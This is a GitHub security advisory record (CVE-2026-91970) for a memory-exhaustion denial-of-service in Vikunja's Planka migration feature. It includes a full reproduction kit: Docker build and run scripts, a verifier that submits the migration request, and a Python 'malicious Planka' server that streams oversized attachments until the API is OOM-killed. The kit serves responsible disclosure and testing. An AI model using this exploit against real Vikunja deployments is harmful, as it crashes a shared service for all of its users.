{"id":"GHSA-wq92-8x3r-fm38","summary":"Vikunja: Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API","details":"# Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API\n\n## Summary\n\nThe always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the complete hierarchy is inserted. A public attacker server can therefore drive memory beyond any finite service allocation. The final Docker run preserved default SSRF policy and OOM-killed the healthy API after five individually valid 20 MiB attachment responses.\n\n## Impact and affected scope\n\n- **Type:** Resource Exhaustion Dos\n- **Affected component:** POST /api/v2/migration/planka/migrate; Asynchronous migration.requested worker for the Planka migrator\n- **Preconditions:** A low-privilege Vikunja user supplies an attacker-operated public Planka URL and token. That server controls project/board/card/attachment counts and streams each attachment body at or below Vikunja's normal per-file limit.\n- **Verified revision:** `d66ef3d1a39c6f7289593059a1a34afd1d059260` on 28 August 2026\n- **Affected release range:** `\u003e 2.5.0` for the tested post-2.5.0 main branch; no released build was independently reproduced\n\nA low-privilege remote user operating a public HTTP server can terminate the shared Vikunja process and make the API unavailable with one migration submission.\n\n## Technical details\n\nPlanka conversion downloads each non-link attachment into a bytes.Buffer and assigns buf.Bytes() to the in-memory task attachment. Every allocation remains reachable in the hierarchy until all remote data has been fetched and InsertFromStructure begins. Per-response, per-page, and per-file limits do not cap the sum.\n\nAttack path: Authenticated migration request -\u003e synchronous attacker-server credential probe -\u003e asynchronous Migrate with no request deadline -\u003e fetch attacker project/board metadata -\u003e loop attacker attachment list -\u003e individually size-limited downloads -\u003e retain all FileContent slices -\u003e process/container OOM and API termination\n\nRelevant code:\n\n- `pkg/routes/api/v2/migration_credentials.go:35`\n- `pkg/routes/api/v2/migration_shared.go:73`\n- `pkg/routes/api/v2/migration_shared.go:95`\n- `pkg/modules/migration/planka/client.go:37`\n- `pkg/modules/migration/planka/client.go:356`\n- `pkg/modules/migration/planka/fetch.go:29`\n- `pkg/modules/migration/planka/fetch.go:32`\n- `pkg/modules/migration/planka/convert.go:275`\n- `pkg/modules/migration/planka/convert.go:280`\n- `pkg/modules/migration/planka/convert.go:293`\n- `pkg/modules/migration/planka/planka.go:86`\n- `pkg/modules/migration/planka/planka.go:100`\n\n## Reproduction\n\nRun this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.\n\nCreate `reproduction/Dockerfile`:\n\n```text\nFROM golang:1.27-bookworm AS builder\n\nWORKDIR /src\nCOPY --from=target . .\nRUN mkdir -p frontend/dist \\\n    && printf '\u003c!doctype html\u003e\u003ctitle\u003ePoC\u003c/title\u003e' \u003e frontend/dist/index.html \\\n    && go build -o /out/vikunja .\n\nFROM golang:1.27-bookworm\n\nRUN apt-get update \\\n    && apt-get install -y --no-install-recommends ca-certificates curl python3 \\\n    && rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\nCOPY --from=builder /out/vikunja /app/vikunja\nCOPY . /app\nRUN chmod +x /app/verify.sh\n\n\n```\n\nCreate `reproduction/verify.sh`:\n\n```sh\n#!/usr/bin/env bash\nset -euo pipefail\n\ntest -d /target-repo\ntest \"$(git -C /target-repo rev-parse HEAD)\" = \"d66ef3d1a39c6f7289593059a1a34afd1d059260\"\ntest -z \"${VIKUNJA_OUTGOINGREQUESTS_ALLOWNONROUTABLEIPS:-}\"\n\nmkdir -p /work/files /work/logs\nexport VIKUNJA_DATABASE_TYPE=sqlite\nexport VIKUNJA_DATABASE_PATH=/work/vikunja.db\nexport VIKUNJA_FILES_BASEPATH=/work/files\nexport VIKUNJA_LOG_PATH=/work/logs\nexport VIKUNJA_SERVICE_ROOTPATH=/work\nexport VIKUNJA_SERVICE_INTERFACE=0.0.0.0:3456\nexport VIKUNJA_SERVICE_PUBLICURL=http://127.0.0.1:3456/\nexport VIKUNJA_SERVICE_FRONTENDURL=http://127.0.0.1:3456/\n\npython3 /app/malicious_planka.py \u003e /work/planka.log 2\u003e&1 &\nPLANKA_PID=$!\n/app/vikunja \u003e /work/vikunja.log 2\u003e&1 &\nVIKUNJA_PID=$!\ncleanup() {\n  if kill -0 \"${VIKUNJA_PID}\" 2\u003e/dev/null; then\n    kill \"${VIKUNJA_PID}\" 2\u003e/dev/null || true\n    wait \"${VIKUNJA_PID}\" 2\u003e/dev/null || true\n  fi\n  if kill -0 \"${PLANKA_PID}\" 2\u003e/dev/null; then\n    kill \"${PLANKA_PID}\" 2\u003e/dev/null || true\n    wait \"${PLANKA_PID}\" 2\u003e/dev/null || true\n  fi\n}\ntrap cleanup EXIT\n\nfor _ in $(seq 1 90); do\n  if curl -fsS http://127.0.0.1:3456/api/v2/health \u003e /dev/null 2\u003e&1 \\\n    && curl -fsS http://93.184.216.34:18080/api/users/me \u003e /dev/null 2\u003e&1; then\n    break\n  fi\n  sleep 1\ndone\ncurl -fsS http://127.0.0.1:3456/api/v2/health \u003e /dev/null\ncurl -fsS http://93.184.216.34:18080/api/users/me \u003e /dev/null\n\nREGISTER_CODE=\"$(curl -sS -o /work/register.json -w '%{http_code}' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"PoC\",\"email\":\"PoC@example.invalid\",\"password\":\"PoC-Test-Password-123!\"}' \\\n  http://127.0.0.1:3456/api/v2/register)\"\ntest \"${REGISTER_CODE}\" = \"201\"\ncurl -fsS \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"PoC\",\"password\":\"PoC-Test-Password-123!\",\"long_token\":false}' \\\n  http://127.0.0.1:3456/api/v2/login \u003e /work/login.json\nTOKEN=\"$(python3 -c 'import json; print(json.load(open(\"/work/login.json\"))[\"token\"])')\"\ntest -n \"${TOKEN}\"\n\nBASELINE_RSS_KIB=\"$(awk '/VmRSS/{print $2}' \"/proc/${VIKUNJA_PID}/status\")\"\nOOM_BEFORE=\"$(awk '$1 == \"oom_kill\" {print $2}' /sys/fs/cgroup/memory.events)\"\nMIGRATE_CODE=\"$(curl -sS -o /work/migrate.json -w '%{http_code}' \\\n  -H \"Authorization: Bearer ${TOKEN}\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"url\":\"http://93.184.216.34:18080\",\"token\":\"attacker-key\"}' \\\n  http://127.0.0.1:3456/api/v2/migration/planka/migrate)\"\ntest \"${MIGRATE_CODE}\" = \"200\"\n\nfor _ in $(seq 1 90); do\n  if ! kill -0 \"${VIKUNJA_PID}\" 2\u003e/dev/null; then\n    break\n  fi\n  sleep 1\ndone\nif kill -0 \"${VIKUNJA_PID}\" 2\u003e/dev/null; then\n  echo \"[PoC] target survived unexpectedly\" \u003e&2\n  tail -n 80 /work/vikunja.log \u003e&2\n  tail -n 80 /work/planka.log \u003e&2\n  exit 1\nfi\n\nset +e\nwait \"${VIKUNJA_PID}\"\nTARGET_EXIT=$?\nset -e\nOOM_AFTER=\"$(awk '$1 == \"oom_kill\" {print $2}' /sys/fs/cgroup/memory.events)\"\nATTACHMENTS_SERVED=\"$(cat /work/attachment-count 2\u003e/dev/null || echo 0)\"\n\ntest \"${OOM_AFTER}\" -gt \"${OOM_BEFORE}\"\ntest \"${TARGET_EXIT}\" -eq 137\ntest \"${ATTACHMENTS_SERVED}\" -ge 4\nkill -0 \"${PLANKA_PID}\"\nif curl -fsS --max-time 2 http://127.0.0.1:3456/api/v2/health \u003e /dev/null 2\u003e&1; then\n  echo \"[PoC] health endpoint remained available after target exit\" \u003e&2\n  exit 1\nfi\n\nkill \"${PLANKA_PID}\" 2\u003e/dev/null || true\nwait \"${PLANKA_PID}\" 2\u003e/dev/null || true\ntrap - EXIT\necho \"[PoC] evidence: migrate_status=${MIGRATE_CODE} public_attacker_ip=93.184.216.34 attachments_served=${ATTACHMENTS_SERVED} baseline_rss_kib=${BASELINE_RSS_KIB} target_exit=${TARGET_EXIT} oom_kill_delta=$((OOM_AFTER - OOM_BEFORE))\"\necho \"[PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy\"\n\n```\n\nCreate `reproduction/run.sh`:\n\n```sh\n#!/usr/bin/env bash\nset -euo pipefail\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\"\nFINDING_DIR=\"$(cd \"${SCRIPT_DIR}/..\" && pwd)\"\nSESSION_DIR=\"$(cd \"${FINDING_DIR}/..\" && pwd)\"\nif [[ \"$(basename \"${SESSION_DIR}\")\" == \"artifacts\" ]]; then\n  SESSION_DIR=\"$(cd \"${SESSION_DIR}/..\" && pwd)\"\nfi\nCASE_ID=\"$(basename \"${SESSION_DIR}\")\"\nFINDING_NAME=\"$(basename \"${FINDING_DIR}\")\"\nIMAGE_TAG=\"PoC-${CASE_ID}-${FINDING_NAME}\"\nNETWORK_NAME=\"${IMAGE_TAG}-net-$$\"\nTARGET_REPO_URL=\"https://github.com/go-vikunja/vikunja.git\"\nTARGET_REF=\"d66ef3d1a39c6f7289593059a1a34afd1d059260\"\nWORKDIR=\"$(mktemp -d \"${SESSION_DIR}/.PoC-repro.XXXXXX\")\"\nNETWORK_CREATED=false\ncleanup() {\n  if [[ \"${NETWORK_CREATED}\" == \"true\" ]]; then\n    docker network rm \"${NETWORK_NAME}\" \u003e /dev/null 2\u003e&1 || true\n  fi\n  rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\nTARGET_REPO_DIR=\"${WORKDIR}/repo\"\n\necho \"[PoC] cloning target repository\"\ngit clone --filter=blob:none --no-checkout \"${TARGET_REPO_URL}\" \"${TARGET_REPO_DIR}\"\ngit -C \"${TARGET_REPO_DIR}\" checkout --detach \"${TARGET_REF}\"\nprintf '\\n.git\\n' \u003e\u003e \"${TARGET_REPO_DIR}/.dockerignore\"\n\necho \"[PoC] building reproduction image: ${IMAGE_TAG}\"\ndocker build \\\n  --build-context \"target=${TARGET_REPO_DIR}\" \\\n  -t \"${IMAGE_TAG}\" \\\n  \"${SCRIPT_DIR}\"\n\necho \"[PoC] creating isolated public-address test network\"\ndocker network create --subnet 93.184.216.0/24 \"${NETWORK_NAME}\" \u003e /dev/null\nNETWORK_CREATED=true\n\necho \"[PoC] running exploit trigger and verification\"\ndocker run --rm \\\n  --network \"${NETWORK_NAME}\" \\\n  --ip 93.184.216.34 \\\n  --memory=256m \\\n  --memory-swap=256m \\\n  -v \"${TARGET_REPO_DIR}:/target-repo:ro\" \\\n  \"${IMAGE_TAG}\" \\\n  /app/verify.sh\n\necho \"[PoC] SUCCESS: reproduction completed and verified\"\n\n```\n\nCreate `reproduction/malicious_planka.py`:\n\n```python\n#!/usr/bin/env python3\nimport json\nimport os\nimport threading\nfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer\n\nATTACHMENT_COUNT = 24\nATTACHMENT_BYTES = 20 * 1024 * 1024\ncounter = 0\ncounter_lock = threading.Lock()\n\n\nclass Handler(BaseHTTPRequestHandler):\n    protocol_version = \"HTTP/1.1\"\n\n    def log_message(self, fmt, *args):\n        print(fmt % args, flush=True)\n\n    def send_json(self, payload):\n        body = json.dumps(payload, separators=(\",\", \":\")).encode()\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n\n    def do_DELETE(self):\n        self.send_response(204)\n        self.send_header(\"Content-Length\", \"0\")\n        self.end_headers()\n\n    def do_GET(self):\n        global counter\n        if self.path == \"/api/users/me\":\n            self.send_json({\"item\": {\"id\": \"attacker\"}})\n            return\n        if self.path == \"/api/projects\":\n            self.send_json(\n                {\n                    \"items\": [{\"id\": \"p1\", \"name\": \"attacker project\"}],\n                    \"included\": {\n                        \"boards\": [\n                            {\"id\": \"b1\", \"name\": \"board\", \"projectId\": \"p1\", \"position\": 1}\n                        ],\n                        \"baseCustomFieldGroups\": [],\n                        \"customFields\": [],\n                    },\n                }\n            )\n            return\n        if self.path == \"/api/boards/b1\":\n            attachments = [\n                {\n                    \"id\": f\"a{i}\",\n                    \"type\": \"file\",\n                    \"name\": f\"aggregate-{i}.bin\",\n                    \"cardId\": \"c1\",\n                    \"data\": {\"mimeType\": \"application/octet-stream\"},\n                }\n                for i in range(ATTACHMENT_COUNT)\n            ]\n            self.send_json(\n                {\n                    \"item\": {\"id\": \"b1\", \"name\": \"board\", \"projectId\": \"p1\", \"position\": 1},\n                    \"included\": {\n                        \"users\": [],\n                        \"labels\": [],\n                        \"lists\": [\n                            {\"id\": \"l1\", \"name\": \"active\", \"type\": \"active\", \"position\": 1}\n                        ],\n                        \"cards\": [\n                            {\"id\": \"c1\", \"name\": \"memory bomb\", \"listId\": \"l1\", \"commentsTotal\": 0}\n                        ],\n                        \"cardLabels\": [],\n                        \"taskLists\": [],\n                        \"tasks\": [],\n                        \"attachments\": attachments,\n                        \"customFieldGroups\": [],\n                        \"customFields\": [],\n                        \"customFieldValues\": [],\n                    },\n                }\n            )\n            return\n        if self.path.startswith(\"/attachments/\"):\n            self.send_response(200)\n            self.send_header(\"Content-Type\", \"application/octet-stream\")\n            self.send_header(\"Content-Length\", str(ATTACHMENT_BYTES))\n            self.end_headers()\n            chunk = b\"A\" * 65536\n            try:\n                for _ in range(ATTACHMENT_BYTES // len(chunk)):\n                    self.wfile.write(chunk)\n            except (BrokenPipeError, ConnectionResetError):\n                return\n            with counter_lock:\n                counter += 1\n                with open(\"/work/attachment-count\", \"w\", encoding=\"ascii\") as count_file:\n                    count_file.write(str(counter))\n                    count_file.flush()\n                    os.fsync(count_file.fileno())\n            return\n        self.send_response(404)\n        self.send_header(\"Content-Length\", \"0\")\n        self.end_headers()\n\n\nThreadingHTTPServer((\"0.0.0.0\", 18080), Handler).serve_forever()\n\n\n```\n\nFrom the directory containing these files, run:\n\n```sh\nchmod +x reproduction/run.sh reproduction/*.sh 2\u003e/dev/null || true\n./reproduction/run.sh\n```\n\n**Expected:** The migration request should return 200, the attacker server should complete several individually permitted attachment responses, then Vikunja should be OOM-killed and its health endpoint should stop responding while the attacker service and verifier survive.\n\n**Observed:** The final run returned migrate_status=200 using public_attacker_ip=93.184.216.34 with no non-routable-IP override. The attacker completed five 20 MiB responses; Vikunja exited 137, cgroup oom_kill increased by one, and health became unavailable while the attacker server remained alive. The verifier emitted the expected VERIFIED signal and run.sh exited 0.\n\n**Verification and controls:** The helper requires the pinned mounted checkout, an unset allow-non-routable override, a healthy API and attacker endpoint, and successful normal-user registration/login. It records memory.events, submits the real Planka route, counts fully served attachment bodies, and accepts success only on migrate 200, at least four complete bodies, target exit 137, oom_kill increment, surviving attacker server, and failed health.\n\nObserved evidence:\n\n- migrate_status=200\n- public_attacker_ip=93.184.216.34\n- attachments_served=5\n- baseline_rss_kib=68064\n- target_exit=137\n- oom_kill_delta=1\n- [PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy\n\n## Suggested remediation\n\nEnforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.\n\n## Severity\n\n**CVSS v4.0: 7.1 (High)** — Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`\n\nThis assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.\n\n## Disclosure context and attribution\n\nAI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.\n\nReported by the University of Sydney security research team:\n\n- [Ziyue Wang (@Zyy0530)](https://github.com/Zyy0530)\n- [Liyi Zhou (@lzhou1110)](https://github.com/lzhou1110)\n- [Strick Sheng (@Str1ckl4nd)](https://github.com/Str1ckl4nd)\n- [Maurice Ng (@mauriceng98)](https://github.com/mauriceng98)\n- [Chenchen Yu (@7thParkk)](https://github.com/7thParkk)\n\nWe are happy to answer questions, provide additional verification details, or validate a candidate patch.","aliases":["CVE-2026-91970"],"modified":"2026-10-09T21:00:15.917455464Z","published":"2026-10-09T20:53:24Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-10-09T20:53:24Z","nvd_published_at":null,"cwe_ids":["CWE-770"]},"references":[{"type":"WEB","url":"https://github.com/go-vikunja/vikunja/security/advisories/GHSA-wq92-8x3r-fm38"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91970"},{"type":"WEB","url":"https://github.com/go-vikunja/vikunja/pull/3688"},{"type":"PACKAGE","url":"https://github.com/go-vikunja/vikunja"},{"type":"WEB","url":"https://github.com/go-vikunja/vikunja/releases/tag/v2.6.0"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/vikunja-before-2.6.0-resource-exhaustion-via-planka-migration"}],"affected":[{"package":{"name":"code.vikunja.io/api","ecosystem":"Go","purl":"pkg:golang/code.vikunja.io/api"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.5.0"},{"fixed":"2.6.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-wq92-8x3r-fm38/GHSA-wq92-8x3r-fm38.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}